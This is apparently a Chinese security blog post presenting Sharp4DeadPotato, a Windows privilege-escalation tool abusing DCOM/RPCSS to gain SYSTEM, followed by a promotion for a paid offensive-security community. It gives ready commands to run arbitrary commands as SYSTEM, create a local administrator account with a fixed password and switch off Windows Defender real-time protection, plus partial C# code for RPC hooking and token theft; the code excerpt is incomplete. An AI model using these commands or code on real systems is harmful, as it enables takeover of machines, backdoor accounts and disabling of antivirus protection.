01
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02
基本介绍
Sharp4DeadPotato 是 Potato 漏洞利用系列中的一个 Windows 权限提升实用工具。主要通过利用DCOM和 RPCSS的缺陷来获得系统权限。当具有 SeImpersonate 权限的用户在处理 OHAD时,Sharp4DeadPotato 能够提升进程权限至 SYSTEM 级别。这个工具可以通过命令执行、创建管理员账户,甚至关闭 Windows Defender 的实时保护。本文将详细介绍其工作原理、使用方法以及实现代码的解析。
03
使用方法
Sharp4DeadPotato 的执行任意命令的使用方法如下:
Sharp4DeadPotato.exe -cmd "whoami"
Sharp4DeadPotato执行创建新的管理员命令的使用方法如下:
Sharp4DeadPotato.exe -newadmin lypd0:DeadPotatoRocks1
该命令将创建用户名为 lypd0,密码为 DeadPotatoRocks1 的本地管理员账户,另外,还可以关闭Windows Defender实时保护。
Sharp4DeadPotato.exe -defender off
04
原理解析
Sharp4DeadPotato.exe 的核心原理提供了一个方法 isWindowsDefenderRunning() 来检测 Windows Defender 的实时保护是否开启。该方法通过访问注册表键 SOFTWARE\Microsoft\Windows Defender\Real-Time Protection 并读取 DisableRealtimeMonitoring 值来判断实时保护状态:
该方法通过注册表读取 Defender 的实时保护设置,如果 DisableRealtimeMonitoring 值为 1,表示保护关闭;否则表示开启。另外,权限提升的核心代码在 elevateCommand() 方法中,该方法负责启动提权过程并执行用户指定的命令。public static bool isWindowsDefenderRunning()
{
string name = "SOFTWARE\Microsoft\Windows Defender\Real-Time Protection";
string name2 = "DisableRealtimeMonitoring";
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
if (registryKey != null)
{
object value = registryKey.OpenSubKey(name).GetValue(name2);
return value == null || !(value is int) || (int)value != 1;
}
return false;
}
public static void elevateCommand(string command, bool displayBanner = true)
{
TextWriter @out = Console.Out;
try
{
GodPotatoContext godPotatoContext = new GodPotatoContext(@out, Guid.NewGuid().ToString());
if (Program.verbose)
{
@out.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);
@out.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);
@out.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);
@out.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount);
@out.WriteLine("[*] HookRPC");
}
godPotatoContext.HookRPC();
if (Program.verbose)
{
@out.WriteLine("[*] Start PipeServer");
}
godPotatoContext.Start();
GodPotatoUnmarshalTrigger godPotatoUnmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
WindowsIdentity token = godPotatoContext.GetToken();
godPotatoContext.Restore();
godPotatoContext.Stop();
}
}
GodPotatoContext:该类负责设置上下文信息,并初始化关键的 RPC 函数和 Hook 机制。HookRPC:在此步骤中,程序通过 Hook RPC 机制来劫持目标调用,利用 RPCSS 中的漏洞。GetToken:获取提升后的 WindowsIdentity,并通过该 Token 来执行命令。
综上,Sharp4DeadPotato 是 Windows 平台上强大的权限提升工具,通过利用RPCSS 服务的漏洞,实现了从普通用户到 SYSTEM 权限的提权。工具已经打包在星球,感兴趣的朋友可以加入自取。
05
推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06
欢迎加入.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。 星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...